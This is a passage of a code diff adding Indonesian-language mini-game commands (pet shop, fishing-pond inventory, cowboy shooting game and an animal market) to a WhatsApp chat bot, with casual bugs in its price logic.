"Adopt A Cat"}, + {title: "Dog ๐Ÿ•", rowId: ".petshop dog", description: "Adopt A Dog"}, + {title: "Horse ๐ŸŽ", rowId: ".petshop horse", description: "Adopt A Horse"}, + {title: "Fox ๐ŸฆŠ", rowId: ".petshop fox", description: "Adopt A Fox"}, + {title: "Robo ๐Ÿค–", rowId: ".petshop robo", description: "Buy A Robo"}, + ] + }, +] + +const listMessage = { + text: caption, + footer: wm, + title: logo, + buttonText: "ADOPT ME ๐Ÿพ", + sections +} + + try { + if (/petshop/i.test(command)) { + const count = args[1] && args[1].length > 0 ? Math.min(99999999, Math.max(parseInt(args[1]), 1)) : !args[1] || args.length < 3 ? 1 : Math.min(1, count) + switch (type) { + case 'cat': + if (user.cat > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hcat) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hcat + global.db.users[m.sender].cat += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'dog': + if (user.dog > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hdog) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hdog + global.db.users[m.sender].dog += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'fox': + if (user.fox > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hfox) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hfox + global.db.users[m.sender].fox += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'horse': + if (user.horse > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hhorse) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hhorse + global.db.users[m.sender].horse += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'robo': + if (user.robo > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hrobo) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hrobo + global.db.users[m.sender].robo += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'lion': + if (user.lion > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hlion) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hlion + global.db.users[m.sender].lion += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'rhinoceros': + if (user.rhinoceros > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hrhinoceros) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hrhinoceros + global.db.users[m.sender].rhinoceros += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'dragon': + if (user.dragon > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hdragon) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hdragon + global.db.users[m.sender].dragon += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'centaur': + if (user.centaur > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hcentaur) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hcentaur + global.db.users[m.sender].centaur += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'kyubi': + if (user.kyubi > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hkyubi) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hkyubi + global.db.users[m.sender].kyubi += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'griffin': + if (user.griffin > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hgriffin) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hgriffin + global.db.users[m.sender].griffin += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'phonix': + if (user.phonix > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hphonix) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hphonix + global.db.users[m.sender].phonix += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + case 'wolf': + if (user.wolf > 0) return m.reply('Kamu sudah memilik ini') + if(user.pet < hwolf) return m.reply(`Pet Token anda kurang`) + global.db.users[m.sender].pet -= hwolf + global.db.users[m.sender].wolf += 1 + m.reply("Selamat anda mempunyai pet Baru ! ๐ŸŽ‰") + break + + default: + return await m.reply(`${logo}\n${caption}`) + //return await conn.sendMessage(m.chat, listMessage) + } + } else if (/enchant|enchan/i.test(command)) { + const count = args[2] && args[2].length > 0 ? Math.min(99999999, Math.max(parseInt(args[2]), 1)) : !args[2] || args.length < 4 ? 1 :Math.min(1, count) + switch (_type) { + case 't': + break + case '': + break + + default: + return XeonBotInc.sendButton( m.chat, caption, wm, null, [`โ‹ฎโ˜ฐ Menu`, `.menu`], m) + } + } + } catch (err) { + m.reply("Error\n\n\n" + err.stack) + } + } + break +//================================================================== +case 'kolam': { + if (!m.isGroup) return reply(mess.only.group) +let user = global.db.users[m.sender] +let past = ` +โ•ญโ”โ”โ”โ”ใ€Œ *BIO* ใ€ +โ”Š *๐Ÿ’Œ Name :* ${user.registered ? user.name : XeonBotInc.getName(m.sender)} +โ”Š *๐Ÿ“Š Level :* ${user.level} +โ”Š *โœจ Exp :* ${user.exp} +โ•ฐโ•โ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“โ”€ื„โœง + +โ•ญโ”โ”โ”โ”ใ€Œ *ISI* ใ€ +โ”Š๐Ÿฆ€ Kepiting: ${user.kepiting} +โ”Š๐Ÿฆž Lobster: ${user.lobster} +โ”Š๐Ÿฆ Udang: ${user.udang} +โ”Š๐Ÿฆ‘ Cumi: ${user.cumi} +โ”Š๐Ÿ™ Gurita: ${user.gurita} +โ”Š๐Ÿก Buntal: ${user.buntal} +โ”Š๐Ÿ  Dory: ${user.dory} +โ”Š๐Ÿณ Orca: ${user.orca} +โ”Š๐Ÿฌ Lumba: ${user.lumba} +โ”Š๐Ÿ‹ Paus: ${user.paus} +โ”Š๐Ÿฆˆ Hiu: ${user.hiu} +โ•ฐโ•โ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“โ”€ื„โœง +๐ŸŽ Total Isi: *${user.kepiting + user.lobster + user.udang + user.cumi + user.gurita + user.buntal + user.dory + user.orca + user.lumba + user.paus + user.hiu}* Jenis` + m.reply(past) + } +break +//================================================================== +case 'koboy': { + if (!m.isGroup) return reply(mess.only.group) +function random(arr) { + return arr[Math.floor(Math.random() * arr.length)] +} + try { + XeonBotIbc.tembak = XeonBotIbc.tembak || { musuh: [], tembak: [] } + if(/kiri/i.test(text)) { + + let kiri = [ + ["๐Ÿค ", "-", "-", "-", "-"], + ["-", "๐Ÿค ", "-", "-", "-"], + ["-", "-", "๐Ÿค ", "-", "-"], + ["-", "-", "-", "๐Ÿค ", "-"], + ["-", "-", "-", "-", "๐Ÿค "] + ] + + if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 0) { + XeonBotIbc.tembak.tembak = kiri[0] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 1) { + XeonBotIbc.tembak.tembak = kiri[0] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 2) { + XeonBotIbc.tembak.tembak = kiri[1] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 3) { + XeonBotIbc.tembak.tembak = kiri[2] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 4) { + XeonBotIbc.tembak.tembak = kiri[3] + } + + let pos = XeonBotIbc.tembak.musuh.join(" ") + "\n\n\n" + XeonBotIbc.tembak.tembak.join(" ") + + + + if(XeonBotIbc.tembak.musuh.indexOf("๐Ÿฅท") === XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ")) return XeonBotIbc.sendButton(m.chat, pos, wm, [ + ['Tembak', `${command}koboy tembak`] + ]) + return XeonBotInc.sendButton(m.chat, pos, wm, [ + ['โ†', `${command}koboy kiri`], ['โ†’', `${command}koboy kanan`] +]) + } else if(/kanan/i.test(text)) { + + let kanan = [ + ["๐Ÿค ", "-", "-", "-", "-"], + ["-", "๐Ÿค ", "-", "-", "-"], + ["-", "-", "๐Ÿค ", "-", "-"], + ["-", "-", "-", "๐Ÿค ", "-"], + ["-", "-", "-", "-", "๐Ÿค "] + ] + + if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 0) { + XeonBotIbc.tembak.tembak = kanan[1] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 1) { + XeonBotIbc.tembak.tembak = kanan[2] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 2) { + XeonBotIbc.tembak.tembak = kanan[3] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 3) { + XeonBotIbc.tembak.tembak = kanan[4] + } else if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == 4) { + XeonBotIbc.tembak.tembak = kanan[4] + } + + let pos = XeonBotIbc.tembak.musuh.join(" ") + "\n\n\n" + XeonBotIbc.tembak.tembak.join(" ") + + + + if(XeonBotIbc.tembak.musuh.indexOf("๐Ÿฅท") === XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ")) return XeonBotIbc.sendButton(m.chat, pos, wm, [ + ['Tembak', `${command}koboy tembak`] + ]) + return XeonBotIbc.sendButton(m.chat, pos, wm, [ + ['โ†', `${command}koboy kiri`], ['โ†’', `${command}koboy kanan`] +]) + } else if(/tembak/i.test(text)) { + + if(XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ") == XeonBotIbc.tembak.musuh.indexOf("๐Ÿฅท")) { + XeonBotIbc.tembak = {} + global.db.users[m.sender].money += 1000 + m.reply("Kamu menang!\n\nUang += 1000") + } + + } else { + let randMusuh = [ + ["๐Ÿฅท", "-", "-", "-", "-"], + ["-", "๐Ÿฅท", "-", "-", "-"], + ["-", "-", "๐Ÿฅท", "-", "-"], + ["-", "-", "-", "๐Ÿฅท", "-"], + ["-", "-", "-", "-", "๐Ÿฅท"] + ] + let randAku = [ + ["๐Ÿค ", "-", "-", "-", "-"], + ["-", "๐Ÿค ", "-", "-", "-"], + ["-", "-", "๐Ÿค ", "-", "-"], + ["-", "-", "-", "๐Ÿค ", "-"], + ["-", "-", "-", "-", "๐Ÿค "] + ] + + let musuh = random(randMusuh) + let aku = random(randAku) + + XeonBotIbc.tembak.musuh = musuh + XeonBotIbc.tembak.tembak = aku + + let pos = XeonBotIbc.tembak.musuh.join(" ") + "\n\n\n" + XeonBotIbc.tembak.tembak.join(" ") + + if(XeonBotIbc.tembak.musuh.indexOf("๐Ÿฅท") === XeonBotIbc.tembak.tembak.indexOf("๐Ÿค ")) return XeonBotIbc.sendButton(m.chat, pos, wm, [ + ['Tembak', `${command}koboy tembak`] + ]) + return XeonBotIbc.sendButton(m.chat, pos, wm, [ + ['โ†', `${command}koboy kiri`], ['โ†’', `${command}koboy kanan`] +]) + } + } catch (e) { + throw false + } +} +break +//================================================================== +case 'pasar': { + if (!m.isGroup) return reply(mess.only.group) +const Skepiting = 7000 +const Slobster = 7000 +const Sudang = 7000 +const Scumi = 7000 +const Sgurita = 7000 +const Sbuntal = 7000 +const Sdory = 7000 +const Sorca = 7000 +const Slumba = 7000 +const Spaus = 7000 +const Sikan = 7000 +const Shiu = 7000 +const Sbanteng = 9000 +const Sharimau = 9000 +const Sgajah = 9000 +const Skambing = 9000 +const Spanda = 9000 +const Sbuaya = 9000 +const Skerbau = 9000 +const Ssapi= 9000 +const Smonyet = 9000 +const Sbabihutan = 9000 +const Sbabi = 9000 +const Sayam = 9000 +const Sbotol = 100 +const Skardus = 100 +const Skaleng = 100 +const Sgelas = 100 +const Splastik = 100 + + const _armor = global.db.users[m.sender].armor + const armor = (_armor == 0 ? 20000 : '' || _armor == 1 ? 49999 : '' || _armor == 2 ? 99999 : '' || _armor == 3 ? 149999 : '' || _armor == 4 ? 299999 : '') + let type = (args[0] || '').toLowerCase() + let _type = (args[1] || '').toLowerCase() + let jualbeli = (args[0] || '').toLowerCase() + const Kchat = `โ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +*๐Ÿ›’ Hewan Laut | ๐Ÿ’ฒ Harga Jual*\nโ•โ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +๐Ÿฆ€ Kepiting: ${Skepiting} +๐Ÿฆž Lobster: ${Slobster} +๐Ÿฆ Udang: ${Sudang} +๐Ÿฆ‘ Cumi: ${Scumi} +๐Ÿ™ Gurita: ${Sgurita} +๐Ÿก Buntal: ${Sbuntal} +๐Ÿ  Dory: ${Sdory} +๐Ÿณ Orca: ${Sorca} +๐Ÿฌ Lumba: ${Slumba} +๐Ÿ‹ Paus: ${Spaus} +๐Ÿฆˆ Hiu: ${Shiu} +โ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +*๐Ÿ›’ Hewan Darat | ๐Ÿ’ฒ Harga Jual*\nโ•โ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +๐Ÿƒ Banteng: ${Sbanteng} +๐Ÿ… Harimau: ${Sharimau} +๐Ÿ˜ Gajah: ${Sgajah} +๐Ÿ Kambing: ${Skambing} +๐Ÿผ Panda: ${Spanda} +๐Ÿƒ Kerbau: ${Skerbau} +๐ŸŠ Buaya: ${Sbuaya} +๐Ÿ‚ Sapi: ${Ssapi} +๐Ÿ’ Monyet: ${Smonyet} +๐Ÿ— Babi Hutan: ${Sbabihutan} +๐Ÿ– Babi: ${Sbabi} +๐Ÿ” Ayam: ${Sayam} +โ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ•โ•Œโ•Œโ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +๐Ÿ“Œ *Contoh penggunaan :*\nโ•โ”…โ•โ”โ€“โ€“โ€“โ€“โ€“โ€“โ”โ€“โ€“โ€“โ€“โ€“โ€“เน‘ +#pasar jual ayam [Jumlah] +`.trim() + try { + if (/pasar|toko/i.test(command)) { + const count = args[2] && args[2].length > 0 ? Math.min(99999999, Math.max(parseInt(args[2]), 1)) : !args[2] || args.length < 4 ? 1 :Math.min(1, count) + const sampah = global.db.users[m.sender].sampah + switch (jualbeli) { + + case 'jual': + switch (_type) { + case 'banteng': + if (global.db.users[m.sender].banteng >= count * 1) { + global.db.users[m.sender].money += Spaus * count + global.db.users[m.sender].banteng -= count * 1 + reply( `Sukses Menjual ${count} Banteng Dengan Harga ${Sbanteng * count} Money `.trim()) + } else reply( `Banteng Kamu Tidak Cukup`.trim()) + break + case 'harimau': + if (global.db.users[m.sender].harimau >= count * 1) { + global.db.users[m.sender].money += Sharimau * count + global.db.users[m.sender].harimau -= count * 1 + reply( `Sukses Menjual ${count} Harimau Dengan Harga ${Sharimau * count} Money `.trim()) + } else reply( `Harimau Kamu Tidak Cukup`.trim()) + break + case 'gajah': + if (global.db.users[m.sender].gajah >= count * 1) { + global.db.users[m.sender].money += Sgajah * count + global.db.users[m.sender].gajah -= count * 1 + reply( `Sukses Menjual ${count} Gajah Dengan Harga ${Sgajah * count} Money `.trim()) + } else reply( `Gajah Kamu Tidak Cukup`.trim()) + break + case 'kambing': + if (global.db.users[m.sender].kambing >= count * 1) { + global.db.users[m.sender].money += Skambing * count + global.db.users[m.sender].kambing -= count * 1 + reply( `Sukses Menjual ${count} Kambing Dengan Harga ${Skambing * count} Money `.trim()) + } else reply( `Kambing Kamu Tidak Cukup`.trim()) + break + case 'panda': + if (global.db.users[m.sender].panda >= count * 1) { + global.db.users[m.sender].money += Spanda * count + global.db.users[m.sender].panda -= count * 1 + reply( `Sukses Menjual ${count} Panda Dengan Harga ${Sbuaya * count} Money `.trim()) + } else reply( `Panda Kamu Tidak Cukup`.trim()) + break + case 'buaya': + if (global.db.users[m.sender].buaya >= count * 1) { + global.db.users[m.sender].money += Sbuaya * count + global.db.users[m.sender].buaya -= count * 1 + reply( `Sukses Menjual ${count} Buaya Dengan Harga ${Sbuaya * count} Money `.trim()) + } else reply( `Buaya Kamu Tidak Cukup`.trim()) + break + case 'kerbau': + if (global.db.users[m.sender].kerbau >= count * 1) { + global.db.users[m.sender].money += Skerbau * count + global.db.users[m.sender].kerbau -= count * 1 + reply( `Sukses Menjual ${count} Kerbau Dengan Harga ${Skerbau * count} Money `.trim()) + } else reply( `Kerbau Kamu Tidak Cukup`.trim()) + break + case 'sapi': + if (global.db.users[m.sender].sapi >= count * 1) { + global.db.users[m.sender].money += Ssapi * count + global.db.users[m.sender].sapi -= count * 1 + reply( `Sukses Menjual ${count} Sapi Dengan Harga ${Ssapi * count} Money `.trim()) + } else reply( `Sapi Kamu Tidak Cukup`.trim()) + break + case 'monyet': + if (global.db.users[m.sender].monyet >= count * 1) { + global.db.users[m.sender].money += Smonyet * count + global.db.users[m.sender].monyet -= count * 1 + reply( `Sukses Menjual ${count} Monyet Dengan Harga ${Smonyet * count} Money `.trim()) + } else reply( `Monyet Kamu Tidak Cukup`.trim()) + break + case 'babi': + if (global.db.users[m.sender].babi >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].babi -= count * 1 + reply( `Sukses Menjual ${count} Babi Dengan Harga ${Sbabi * count} Money `.trim()) + } else reply( `Babi Kamu Tidak Cukup`.trim()) + break + case 'babihutan': + if (global.db.users[m.sender].babihutan >= count * 1) { + global.db.users[m.sender].money += Sbabihutan * count + global.db.users[m.sender].babihutan -= count * 1 + reply( `Sukses Menjual ${count} Babi Hutan Dengan Harga ${Sbabihutan * count} Money `.trim()) + } else reply( `Babi Hutan Kamu Tidak Cukup`.trim()) + break + case 'ayam': + if (global.db.users[m.sender].ayam >= count * 1) { + global.db.users[m.sender].money += Sayam * count + global.db.users[m.sender].ayam -= count * 1 + reply( `Sukses Menjual ${count} Ayam Dengan Harga ${Sayam * count} Money `.trim()) + } else reply( `Ayam Kamu Tidak Cukup`.trim()) + break + //mancing + case 'kepiting': + if (global.db.users[m.sender].kepiting >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].kepiting -= count * 1 + reply( `Sukses Menjual ${count} Kepiting Dengan Harga ${Skepiting * count} Money `.trim()) + } else reply( `Kepiting Kamu Tidak Cukup`.trim()) + break + case 'ikan': + if (global.db.users[m.sender].ikan >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].ikan -= count * 1 + reply( `Sukses Menjual ${count} Ikan Dengan Harga ${Sikan * count} Money `.trim()) + } else reply( `Ikan Kamu Tidak Cukup`.trim()) + break + case 'dory': + if (global.db.users[m.sender].dory >= count * 1) { + global.db.users[m.sender].money += Sdory * count + global.db.users[m.sender].dory -= count * 1 + reply( `Sukses Menjual ${count} Ikan Dory Dengan Harga ${Sdory * count} Money `.trim()) + } else reply( `Ikan Dory Kamu Tidak Cukup`.trim()) + break + case 'gurita': + if (global.db.users[m.sender].gurita >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].gurita -= count * 1 + reply( `Sukses Menjual ${count} Gurita Dengan Harga ${Sgurita * count} Money `.trim()) + } else reply( `Gurita Kamu Tidak Cukup`.trim()) + break + case 'buntal': + if (global.db.users[m.sender].buntal >= count * 1) { + global.db.users[m.sender].money += Sbuntal * count + global.db.users[m.sender].buntal -= count * 1 + reply( `Sukses Menjual ${count} Ikan Buntal Dengan Harga ${Sbuntal * count} Money `.trim()) + } else reply( `Ikan Buntal Kamu Tidak Cukup`.trim()) + break + case 'hiu': + if (global.db.users[m.sender].hiu >= count * 1) { + global.db.users[m.sender].money += Shiu * count + global.db.users[m.sender].hiu -= count * 1 + reply( `Sukses Menjual ${count} Hiu Dengan Harga ${Shiu * count} Money `.trim()) + } else reply( `Hiu Kamu Tidak Cukup`.trim()) + break + case 'orca': + if (global.db.users[m.sender].orca >= count * 1) { + global.db.users[m.sender].money += Sorca * count + global.db.users[m.sender].orca -= count * 1 + reply( `Sukses Menjual ${count} Paus Orca Dengan Harga ${Sorca * count} Money `.trim()) + } else reply( `Paus Orca Kamu Tidak Cukup`.trim()) + break + case 'lumba': + if (global.db.users[m.sender].lumba >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].lumba -= count * 1 + reply( `Sukses Menjual ${count} Lumba Lumba Dengan Harga ${Slumba * count} Money `.trim()) + } else reply( `Lumba Lumba Kamu Tidak Cukup`.trim()) + break + case 'paus': + if (global.db.users[m.sender].paus >= count * 1) { + global.db.users[m.sender].money += Spaus * count + global.db.users[m.sender].paus -= count * 1 + reply( `Sukses Menjual ${count} Paus Dengan Harga ${Spaus * count} Money `.trim()) + } else reply( `Paus Kamu Tidak Cukup`.trim()) + break + case 'lobster': + if (global.db.users[m.sender].lobster >= count * 1) { + global.db.users[m.sender].money += Slobster * count + global.db.users[m.sender].lobster -= count * 1 + reply( `Sukses Menjual ${count} Lobster Dengan Harga ${Slobster * count} Money `.trim()) + } else reply( `Lobster Kamu Tidak Cukup`.trim()) + break + case 'udang': + if (global.db.users[m.sender].udang >= count * 1) { + global.db.users[m.sender].money += Sudang * count + global.db.users[m.sender].udang -= count * 1 + reply( `Sukses Menjual ${count} Udang Dengan Harga ${Sudang * count} Money `.trim()) + } else reply( `Udang Kamu Tidak Cukup`.trim()) + break + case 'cumi': + if (global.db.users[m.sender].cumi >= count * 1) { + global.db.users[m.sender].money += Scumi * count + global.db.users[m.sender].cumi -= count * 1 + reply( `Sukses Menjual ${count} Cumi Dengan Harga ${Scumi * count} Money `.trim()) + } else reply( `Cumi Kamu Tidak Cukup`.trim()) + break + case 'botol': + if (global.db.users[m.sender].botol >= count * 1) { + global.db.users[m.sender].money += Sbotol * count + global.db.users[m.sender].botol -= count * 1 + reply( `Sukses Menjual ${count} Cumi Dengan Harga ${Sbotol * count} Money `.trim()) + } else reply( `Botol Kamu Tidak Cukup`.trim()) + break + case 'kaleng': + if (global.db.users[m.sender].kaleng >= count * 1) { + global.db.users[m.sender].money += Skaleng * count + global.db.users[m.sender].kaleng -= count * 1 + reply( `Sukses Menjual ${count} Kaleng Dengan Harga ${Skaleng * count} Money `.trim()) + } else reply( `Kaleng Kamu Tidak Cukup`.trim()) + break + case 'kardus': + if (global.db.users[m.sender].kardus >= count * 1) { + global.db.users[m.sender].money += Skardus * count + global.db.users[m.sender].kardus -= count * 1 + reply( `Sukses Menjual ${count} Kardus Dengan Harga ${Skardus * count} Money `.trim()) + } else reply( `Kardus Kamu Tidak Cukup`.trim()) + break + case 'gelas': + if (global.db.users[m.sender].gelas >= count * 1) { + global.db.users[m.sender].money += Sgelas * count + global.db.users[m.sender].gelas -= count * 1 + reply( `Sukses Menjual ${count} Gelas Dengan Harga ${Sgelas * count} Money `.trim()) + } else reply( `Gelas Kamu Tidak Cukup`.trim()) + break + case 'plastik': + if (global.db.users[m.sender].plastik >= count * 1) { + global.db.users[m.sender].money += Splastik * count + global.db.users[m.sender].plastik -= count * 1 + reply( `Sukses Menjual ${count} Plastik Dengan Harga ${Splastik * count} Money `.trim()) + } else reply( `Plastik Kamu Tidak Cukup`.trim()) + break + default: + return m.reply(Kchat) + } + break + default: + return m.reply(Kchat) + } + + } else if (/sell|jual|/i.test(command)) { + const count = args[1] && args[1].length > 0 ? Math.min(99999999, Math.max(parseInt(args[1]), 1)) : !args[1] || args.length < 3 ? 1 : Math.min(1, count) + switch (type) { + case 'banteng': + if (global.db.users[m.sender].banteng >= count * 1) { + global.db.users[m.sender].money += Spaus * count + global.db.users[m.sender].banteng -= count * 1 + reply( `Sukses Menjual ${count} Banteng Dengan Harga ${Sbanteng * count} Money `.trim()) + } else reply( `Banteng Kamu Tidak Cukup`.trim()) + break + case 'harimau': + if (global.db.users[m.sender].harimau >= count * 1) { + global.db.users[m.sender].money += Sharimau * count + global.db.users[m.sender].harimau -= count * 1 + reply( `Sukses Menjual ${count} Harimau Dengan Harga ${Sharimau * count} Money `.trim()) + } else reply( `Harimau Kamu Tidak Cukup`.trim()) + break + case 'gajah': + if (global.db.users[m.sender].gajah >= count * 1) { + global.db.users[m.sender].money += Sgajah * count + global.db.users[m.sender].gajah -= count * 1 + reply( `Sukses Menjual ${count} Gajah Dengan Harga ${Sgajah * count} Money `.trim()) + } else reply( `Gajah Kamu Tidak Cukup`.trim()) + break + case 'kambing': + if (global.db.users[m.sender].kambing >= count * 1) { + global.db.users[m.sender].money += Skambing * count + global.db.users[m.sender].kambing -= count * 1 + reply( `Sukses Menjual ${count} Kambing Dengan Harga ${Skambing * count} Money `.trim()) + } else reply( `Kambing Kamu Tidak Cukup`.trim()) + break + case 'panda': + if (global.db.users[m.sender].panda >= count * 1) { + global.db.users[m.sender].money += Spanda * count + global.db.users[m.sender].panda -= count * 1 + reply( `Sukses Menjual ${count} Panda Dengan Harga ${Sbuaya * count} Money `.trim()) + } else reply( `Panda Kamu Tidak Cukup`.trim()) + break + case 'buaya': + if (global.db.users[m.sender].buaya >= count * 1) { + global.db.users[m.sender].money += Sbuaya * count + global.db.users[m.sender].buaya -= count * 1 + reply( `Sukses Menjual ${count} Buaya Dengan Harga ${Sbuaya * count} Money `.trim()) + } else reply( `Buaya Kamu Tidak Cukup`.trim()) + break + case 'kerbau': + if (global.db.users[m.sender].kerbau >= count * 1) { + global.db.users[m.sender].money += Skerbau * count + global.db.users[m.sender].kerbau -= count * 1 + reply( `Sukses Menjual ${count} Kerbau Dengan Harga ${Skerbau * count} Money `.trim()) + } else reply( `Kerbau Kamu Tidak Cukup`.trim()) + break + case 'sapi': + if (global.db.users[m.sender].sapi >= count * 1) { + global.db.users[m.sender].money += Ssapi * count + global.db.users[m.sender].sapi -= count * 1 + reply( `Sukses Menjual ${count} Sapi Dengan Harga ${Ssapi * count} Money `.trim()) + } else reply( `Sapi Kamu Tidak Cukup`.trim()) + break + case 'monyet': + if (global.db.users[m.sender].monyet >= count * 1) { + global.db.users[m.sender].money += Smonyet * count + global.db.users[m.sender].monyet -= count * 1 + reply( `Sukses Menjual ${count} Monyet Dengan Harga ${Smonyet * count} Money `.trim()) + } else reply( `Monyet Kamu Tidak Cukup`.trim()) + break + case 'babi': + if (global.db.users[m.sender].babi >= count * 1) { + global.db.users[m.sender].money += Sbabi * count + global.db.users[m.sender].babi -= count * 1 + reply( `Sukses Menjual ${count} Babi Dengan Harga ${Sbabi * count} Money `.trim()) + } else reply( `Babi Kamu Tidak Cukup`.trim()) + break + case 'babihutan': + if (global.db.users[m.sender].babihutan >= count * 1) { + global.db.users[m.sender].money += Sbabihutan * count + global.db.users[m.sender].babihutan -= count * 1 + reply( `Sukses Menjual ${count} Babi Hutan Dengan Harga ${Sbabihutan * count} Money `.trim()) + } else reply( `Babi Hutan Kamu Tidak Cukup`.trim()) + break + case 'ayam': + if (global.db.users[m.sender].ayam >= count * 1) { + global.db.users[m.sender].money += Sayam * count + global.db.users[m.sender].ayam -= count * 1 + reply( `Sukses Menjual ${count} Ayam Dengan Harga ${Sayam * count} Money `.trim()) + } else reply( `Ayam Kamu Tidak Cukup`.trim()) + break + //mancing + case 'kepiting': + if (global.db.users[m.sender].kepiting >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].kepiting -= count * 1 + reply( `Sukses Menjual ${count} Kepiting Dengan Harga ${Skepiting * count} Money `.trim()) + } else reply( `Kepiting Kamu Tidak Cukup`.trim()) + break + case 'ikan': + if (global.db.users[m.sender].ikan >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].ikan -= count * 1 + reply( `Sukses Menjual ${count} Ikan Dengan Harga ${Sikan * count} Money `.trim()) + } else reply( `Ikan Kamu Tidak Cukup`.trim()) + break + case 'dory': + if (global.db.users[m.sender].dory >= count * 1) { + global.db.users[m.sender].money += Sdory * count + global.db.users[m.sender].dory -= count * 1 + reply( `Sukses Menjual ${count} Ikan Dory Dengan Harga ${Sdory * count} Money `.trim()) + } else reply( `Ikan Dory Kamu Tidak Cukup`.trim()) + break + case 'gurita': + if (global.db.users[m.sender].gurita >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].gurita -= count * 1 + reply( `Sukses Menjual ${count} Gurita Dengan Harga ${Sgurita * count} Money `.trim()) + } else reply( `Gurita Kamu Tidak Cukup`.trim()) + break + case 'buntal': + if (global.db.users[m.sender].buntal >= count * 1) { + global.db.users[m.sender].money += Sbuntal * count + global.db.users[m.sender].buntal -= count * 1 + reply( `Sukses Menjual ${count} Ikan Buntal Dengan Harga ${Sbuntal * count} Money `.trim()) + } else reply( `Ikan Buntal Kamu Tidak Cukup`.trim()) + break + case 'hiu': + if (global.db.users[m.sender].hiu >= count * 1) { + global.db.users[m.sender].money += Shiu * count + global.db.users[m.sender].hiu -= count * 1 + reply( `Sukses Menjual ${count} Hiu Dengan Harga ${Shiu * count} Money `.trim()) + } else reply( `Hiu Kamu Tidak Cukup`.trim()) + break + case 'orca': + if (global.db.users[m.sender].orca >= count * 1) { + global.db.users[m.sender].money += Sorca * count + global.db.users[m.sender].orca -= count * 1 + reply( `Sukses Menjual ${count} Paus Orca Dengan Harga ${Sorca * count} Money `.trim()) + } else reply( `Paus Orca Kamu Tidak Cukup`.trim()) + break + case 